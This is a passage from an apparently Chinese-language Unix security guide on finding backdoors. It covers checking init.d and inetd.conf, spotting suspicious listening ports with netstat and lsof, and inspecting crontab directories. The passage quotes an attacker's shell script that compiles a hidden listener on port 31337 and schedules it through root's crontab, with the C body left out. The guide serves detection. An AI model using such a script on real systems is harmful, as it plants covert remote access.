都要仔细检查,运行起来看看有没有什么不正常的现象,防止它有可能被换成木马。对于 init.d目录中的脚本文件启动的程序,它们的二进制文件大都在/usr/bin、 /usr/local/bin、/sbin、/usr/sbin目录下。 2) 检查/etc/inetd.conf配置文件 注意/etc/inetd.conf中的语法 # telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd 和,这两个字段的关系就象execve()函数的第一个形参和第二 形参。检查/etc/inetd.conf,特别是最后两个字段,是否除通常的服务外启动了别的服务。 如果有的话,仔细检查这项服务,很可能是在启动后门程序。 同样,与binary木马后门相交*,对inet.conf所列的每项服务,都要对相应程序进行检 查,很有可能它们被换成木马程序。 3) 使用netstat和lsof命令 如果后门程序作为守护进程启动,通常它侦听某个端口,通过该端口与外网连接。攻击者 借此获取对系统的访问。 对Linux系统,用"netstat -nap"命令列出网络状态信息,特别注意 和 这两栏。如果所列的 中 ":" 后给出端口处于侦听 状态,而系统又没有在这个端口启动服务,从 这栏追踪对应程序, 它肯定是后门程序。如果 中某端口与另一端建立了连接,系统没有在该 端口上配置服务,从 栏中检查建立该连接的程序,如果程序不是通 常系统配置允许使用的客户程序,仔细检查该程序,它属于不正常的行为,很可能是后门 程序。 对Solaris系统,先用"netstat -na"列出网络状态信息,取出 栏中的 local_host_addr:port。再执行"lsof -i tcp@local_host_addr:port"命令,或者对UDP 协议执行"lsof -i udp@local_host_addr:port"命令,这样就得到了netstat命令没有列 出的 。随后按上面Linux系统一样的方式来做。注意,这里的 local_host_addr 是本机的IP地址或主机名,也可以简化为 tcp:port 或 udp:port,还 可以加上 -T[q、s、w 任意组合] 选项列出队列长度、状态、窗口大小信息。 对于raw socket,用"lsof -n | grep raw"命令进行检查。 5. cron后门 除了以守护进程方式启动后门,还可以利用cron机制启动后门,下面就是植入这类后门的 一个脚本 ------------------------------------------------------------------------------- #! /sbin/sh # Which port should the shell start on PORT="31337" # Where (and under what name) to hide the socket demon HIDE="/dev/ptyp" # Time when the demon should start (0-23 h, military time) START="2" # Same like above but when should it stop STOP="3" if [ "`whoami`" != "root" ]; then echo "you had to be root to do this!" exit 1 fi echo "#define PORT " $PORT > backdoor.c cat >> backdoor.c << 'EOF' ... ... EOF gcc -O3 -o $HIDE backdoor.c if [ -f $HIDE ]; then echo "Compiling done" rm -f backdoor.c else echo "Unable to compile" rm -f backdoor.c exit 1 fi echo "STARTTIME = "$START"; ENDTIME = "$STOP"h" echo "*" $START "* * *" $HIDE > crontabfile echo "*" $STOP "* * * killall -9 "$HIDE >> crontabfile crontab crontabfile rm -f crontabfile ------------------------------------------------------------------------------- (这个脚本有问题,如果这样做了,会破坏原来的/var/spool/cron/crontabs/root) [page_break]对Linux系统,crontab文件位于/var/spool/cron目录中,对Solaris系统,位于 /var/spool/cron/crontabs目录中。这些crontab文件一般以用户名作文件名,cron守护 进程每隔一分钟就检查一次,依据它们更新内存中的crontab表。编辑crontab文件后, 后门程序就在固定的时间启动和停止。 检测后门时,相应地检查/var/spool/cron/crontabs或/var/spool/cron目录中的crontab 文件,查看是否有可疑程序被执行了。如果有,仔细检查它是否是后门程序。与binary木 马后门相交*,还要仔细检查原有cron任务对应的程序,防止它们被换成木马。 如果cron后门有网络通讯,与守护进程后门一样,可以结合netstat和lsof命令来检测。 6. 动态链接库后门 几乎所有的Unix系统使用动态库。动态库重用相同代码而减少空间占用。入侵者可以修改
|